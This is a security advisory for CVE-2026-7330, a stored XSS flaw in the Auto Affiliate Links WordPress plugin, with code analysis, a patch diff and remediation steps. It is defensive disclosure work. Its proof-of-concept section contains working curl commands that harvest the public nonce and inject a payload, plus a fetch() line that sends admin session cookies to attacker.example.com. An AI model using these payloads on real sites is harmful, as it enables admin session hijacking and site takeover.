CVE-2026-7330: Stored XSS in Auto Affiliate Links Plugin
Table of Contents
CVE-2026-7330 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Auto Affiliate Links WordPress plugin. An unauthenticated attacker can inject malicious JavaScript into the plugin’s Statistics page, which then executes in any administrator’s browser when they visit that page — requiring no account, no session, and no victim interaction beyond loading the page.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Auto Affiliate Links |
| Plugin Slug | wp-auto-affiliate-links |
| CVE ID | CVE-2026-7330 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting |
| Affected Versions | <= 6.8.8 |
| Patched Version | 6.8.8.1 |
| Published | May 7, 2026 |
| Researcher | DJumanto |
| Wordfence Advisory | Link |
Description
An unauthenticated attacker can inject malicious JavaScript into the WordPress admin Statistics page. The plugin stores the current page URL each time a visitor clicks an affiliate link. It does this through an AJAX endpoint that any visitor — logged in or not — can reach. The url parameter in this request is saved to the database without safe URL sanitization. When an admin views the Statistics page, the stored value is output directly into anchor element attributes and text, with no HTML encoding applied. The script then runs in the admin’s browser.
Because the plugin embeds the required nonce in the front-end page for all visitors, no account or session is needed. The CVSS vector assigns UI:N because the nonce exposure removes the prerequisite of social engineering an authenticated user into making the request — the attacker alone controls the stored payload.
Technical Analysis
Vulnerable Code Path
The function aal_url_stats_save_action() in aal_stats.php handles the AJAX action aal_stats_save. It is registered for both authenticated and unauthenticated users:
// aal_stats.php, lines 291–292
add_action( 'wp_ajax_aal_stats_save', 'aal_url_stats_save_action' );
add_action( 'wp_ajax_nopriv_aal_stats_save', 'aal_url_stats_save_action' );
The wp_ajax_nopriv_ hook means WordPress will handle the request from any visitor without checking for a login session.
Nonce exposure — aal_stats_enqueue() (aal_stats.php, lines 261–288):
add_action('wp_enqueue_scripts', 'aal_stats_enqueue');
function aal_stats_enqueue($hook) {
global $post;
$aal_statsactive = esc_attr( get_option( 'aal_statsactive' ) );
$aal_statsregusers = esc_attr( get_option( 'aal_statsregusers' ) );
if ($aal_statsactive == 'active')
if ( (!is_user_logged_in()) || ($aal_statsregusers != 'yes') ) {
$local_arr = array(
'ajaxstatsurl' => admin_url( 'admin-ajax.php' ),
'security' => wp_create_nonce( 'aalstatssavenonce' ), // nonce exposed here
'postid' => $postid
);
wp_enqueue_script( 'aal_statsjs', plugins_url( '/js/aalstats.js', __FILE__ ), array('jquery') );
wp_localize_script( 'aal_statsjs', 'aal_stats_ajax', $local_arr );
}
}
When click tracking is active (the default after enabling statistics), the nonce aalstatssavenonce is embedded in every front-end page as a JavaScript variable. Any visitor, including an anonymous attacker, can read it directly from the page source.
Insufficient input sanitization — aal_url_stats_save_action() (aal_stats.php, lines 295–369):
function aal_url_stats_save_action() {
global $wpdb;
check_ajax_referer( 'aalstatssavenonce', 'security' ); // nonce verified, but nonce is public
$link = sanitize_text_field($_POST['link']);
$keyword = sanitize_text_field($_POST['keyword']);
$tip = sanitize_text_field($_POST['tip']);
$locid = sanitize_text_field($_POST['postid']);
$url = sanitize_text_field($_POST['url']); // ❌ wrong sanitizer for a URL value
$time = time();
// ...
$insertdata = array(
'linkid' => $linkid,
'link' => $link,
'keyword' => $keyword,
'time' => $time,
'locurl' => $url, // stored in DB without safe URL sanitization
// ...
);
$rows_affected = $wpdb->insert( $wpdb->prefix . "aal_statistics", $insertdata );
sanitize_text_field() strips HTML tags, but only when the string contains a < character. A payload like x" onmouseover="alert(1) contains no HTML tags, so none of the tag-stripping logic runs. The " character passes through untouched and is stored verbatim in the locurl database column.
Missing output escaping — aal_display_clicks() (aal_stats.php, lines 175–253):
// aal_stats.php, line 219 (vulnerable version)
foreach($clicks as $st) {
?>
<tr ...>
<td>
<a href="<?php echo $st->link; ?>"><?php echo $st->link; ?></a>
</td>
<td>
<?php echo $st->keyword; ?>
</td>
<td>
<a href="<?php echo $st->locurl; ?>"><?php echo $st->locurl; ?></a>
</td>
...
</tr>
The stored values are echoed directly into the HTML with no call to esc_url(), esc_attr(), or esc_html(). A " character in $st->locurl closes the href attribute, and anything after it is interpreted as new attributes or HTML.
Root Cause
The function uses sanitize_text_field() to validate a URL value. This function is designed for plain-text fields, not URLs. It does not strip non-tag special characters such as " that break out of HTML attribute context. The output layer compounds the problem by using bare echo instead of esc_url() and esc_html().
Why Existing Controls Failed
The nonce check at line 298 (check_ajax_referer) is the only barrier to the endpoint. A nonce normally proves the request came from a trusted page session, but the plugin publishes the nonce in front-end JavaScript for unauthenticated users. Any visitor can retrieve it with a single HTTP request. Because the nonce is public, it does not restrict who can call the endpoint.
The sanitize_text_field() call appears to sanitize the input, but it does not handle the URL context. It strips tags (e.g. <script>), so naive tag-injection is blocked. However, attribute-injection payloads that contain only " and plain text bypass the sanitizer entirely.
Attack Impact
An attacker can store arbitrary JavaScript that runs in any administrator’s browser when they visit the Statistics page. This grants the attacker full control over the admin session — they can create new administrator accounts, install plugins, or exfiltrate authentication cookies. All 200,000+ active installs running version 6.8.8 or earlier are affected when the Statistics feature is enabled.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
wp-auto-affiliate-linksplugin installed and activated - Plugin version <= 6.8.8
- Link statistics set to “Active” in the plugin settings (Settings → Auto Affiliate Links → Statistics)
Step-by-Step Reproduction
Step 1: Extract the public nonce
Visit any front-end page of the target site. The plugin injects the nonce into the page HTML as a JavaScript variable. Use curl and grep to extract it:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/" \
| grep -oP '"security"\s*:\s*"\K[^"]+')
echo "Nonce: $NONCE"
The nonce appears in the page source inside the localized script data:
<script>
var aal_stats_ajax = {
"ajaxstatsurl": "https://target.example.com/wp-admin/admin-ajax.php",
"security": "abc123def456", ← this is the nonce
"postid": "1"
};
</script>
Step 2: Send the malicious AJAX request
Post a request to the AJAX endpoint with the nonce and a crafted url value. The payload x" onmouseover="alert(document.cookie) injects an onmouseover event handler into the anchor element rendered on the Statistics page.
AJAX_URL="$TARGET/wp-admin/admin-ajax.php"
PAYLOAD='x" onmouseover="alert(document.cookie)'
curl -s -X POST "$AJAX_URL" \
--data-urlencode "action=aal_stats_save" \
--data-urlencode "security=$NONCE" \
--data-urlencode "link=https://example.com/affiliate-link" \
--data-urlencode "keyword=test-keyword" \
--data-urlencode "tip=manual" \
--data-urlencode "postid=1" \
--data-urlencode "url=$PAYLOAD"
A successful response is an empty body followed by a 0 (WordPress wp_die() exit code), meaning the record was inserted.
Step 3: Wait for the administrator to visit the Statistics page
The malicious entry is now in the wp_aal_statistics table. When an administrator navigates to:
WordPress Admin → Auto Affiliate Links → Statistics
The Statistics page calls aal_display_clicks(), which builds the “Latest clicks” table. The stored payload is rendered without escaping:
<!-- Rendered output (vulnerable version) -->
<a href="x" onmouseover="alert(document.cookie)">x" onmouseover="alert(document.cookie)</a>
Moving the mouse over the link fires the injected event handler.
Step 4: Real-world payload (session cookie exfiltration)
Replace the demo alert() with an exfiltration payload to steal the admin’s session cookie:
ATTACKER="https://attacker.example.com/collect"
PAYLOAD="x\" onmouseover=\"fetch('$ATTACKER?c='+document.cookie)\""
curl -s -X POST "$AJAX_URL" \
--data-urlencode "action=aal_stats_save" \
--data-urlencode "security=$NONCE" \
--data-urlencode "link=https://example.com/affiliate" \
--data-urlencode "keyword=legit-keyword" \
--data-urlencode "tip=manual" \
--data-urlencode "postid=1" \
--data-urlencode "url=$PAYLOAD"
Expected Result
When an administrator views the Statistics page, the injected JavaScript executes in their browser. With the cookie exfiltration payload, the attacker receives the wordpress_logged_in_* session cookie. They can use that cookie to authenticate as the administrator without knowing the password.
Verification
- Check the database:
SELECT locurl FROM wp_aal_statistics ORDER BY id DESC LIMIT 1;— the raw payload should be visible as stored. - Log into WordPress as an admin, navigate to Auto Affiliate Links → Statistics.
- Observe the browser alert or check the attacker’s collection server for the received cookie.
- Confirm the
<a>tag in the page source contains the injected attribute.
Patch Analysis
What Changed
The patch modifies aal_stats.php with the following fixes:
- Input (
aal_url_stats_save_action, line 304): Addsesc_url_raw()around thesanitize_text_field()call for theurlparameter.esc_url_raw()strips dangerous URL schemes (includingjavascript:) and rejects values that are not valid URLs, so attribute-injection strings likex" onmouseover=...are reduced to harmless empty strings. - Output —
aal_display_clicks(lines 219, 222, 225): Wraps all three echoed columns (link,keyword,locurl) withesc_url()in href attributes andesc_html()in text content. This converts"to"and<to<, preventing any stored payload from breaking out of its HTML context. - Output —
aal_display_stats(lines 143, 145): The sameesc_url()/esc_html()fix is applied to the separate “Clicks by link” table, closing a secondary output-escaping gap in that function.
Fix Explanation
The patch addresses the root cause at both layers. The input fix (esc_url_raw()) prevents unsafe data from entering the database. The output fix (esc_url() / esc_html()) provides defence-in-depth: even if unsafe data already exists in the database from before the patch, it cannot execute as JavaScript when rendered. Together, the two fixes follow the WordPress security best practice of sanitize-on-input and escape-on-output.
The nonce exposure — the mechanism that allows unauthenticated access to the endpoint — is not addressed by this patch. The aalstatssavenonce nonce remains publicly visible in the front-end page source. Sites should be aware that any future vulnerabilities in the same AJAX endpoint would again be reachable without authentication.
Code Diff (Key Changes)
--- a/aal_stats.php (6.8.8 — vulnerable)
+++ b/aal_stats.php (6.8.8.1 — patched)
@@ aal_display_stats() — "Clicks by link/keyword" table @@
- <a href="<?php echo $st->col; ?>"><?php echo $st->col; ?></a>
+ <a href="<?php echo esc_url($st->col); ?>"><?php echo esc_html($st->col); ?></a>
- <?php echo $st->col; ?>
+ <?php echo esc_html($st->col); ?>
@@ aal_display_clicks() — "Latest clicks" table @@
- <a href="<?php echo $st->link; ?>"><?php echo $st->link; ?></a>
+ <a href="<?php echo esc_url($st->link); ?>"><?php echo esc_html($st->link); ?></a>
- <?php echo $st->keyword; ?>
+ <?php echo esc_html($st->keyword); ?>
- <a href="<?php echo $st->locurl; ?>"><?php echo $st->locurl; ?></a>
+ <a href="<?php echo esc_url($st->locurl); ?>"><?php echo esc_html($st->locurl); ?></a>
@@ aal_url_stats_save_action() — input sanitization @@
- $url = sanitize_text_field($_POST['url']);
+ $url = esc_url_raw(sanitize_text_field($_POST['url']));
Timeline
| Date | Event |
|---|---|
| May 7, 2026 | Vulnerability publicly disclosed by Wordfence |
| May 7, 2026 | Patched version 6.8.8.1 released |
| May 8, 2026 | Wordfence advisory last updated |
Remediation
Update the wp-auto-affiliate-links plugin to version 6.8.8.1 or later.
References
- aal_stats.php L225 — tags/6.8.8
- aal_stats.php L304 — tags/6.8.8
- aal_stats.php L278 — tags/6.8.8
- aal_stats.php L225 — trunk
- aal_stats.php L304 — trunk
- aal_stats.php L278 — trunk
- Changeset 3519003 — patch commit
- Full diff: 6.8.8 → 6.8.8.1
Frequently Asked Questions
What is CVE-2026-7330?
CVE-2026-7330 is a CVSS 7.2 High severity Unauthenticated Stored Cross-Site Scripting vulnerability in the Auto Affiliate Links WordPress plugin that allows an attacker to inject malicious JavaScript into the admin Statistics page.
Which versions of Auto Affiliate Links are affected by CVE-2026-7330?
All versions of Auto Affiliate Links up to and including 6.8.8 are affected. Version 6.8.8.1 contains the fix and is safe to use.
What can an attacker do with CVE-2026-7330?
An attacker can store malicious JavaScript that runs in any administrator's browser when they visit the Statistics page. This allows the attacker to steal admin session cookies, create new administrator accounts, or install arbitrary plugins.
Does an attacker need to be logged in to exploit CVE-2026-7330?
No login is required. The plugin exposes a nonce in the front-end page source for all visitors, so any anonymous attacker can reach the vulnerable endpoint without an account or active session.
How do I fix CVE-2026-7330 in Auto Affiliate Links?
Update the Auto Affiliate Links plugin to version 6.8.8.1 or later. You can do this from the Plugins screen in your WordPress admin dashboard or by downloading the latest version from wordpress.org.
Has Auto Affiliate Links been patched for CVE-2026-7330?
Yes. Version 6.8.8.1 was released on May 7, 2026 and contains fixes for both the input sanitization and output escaping issues that caused this vulnerability.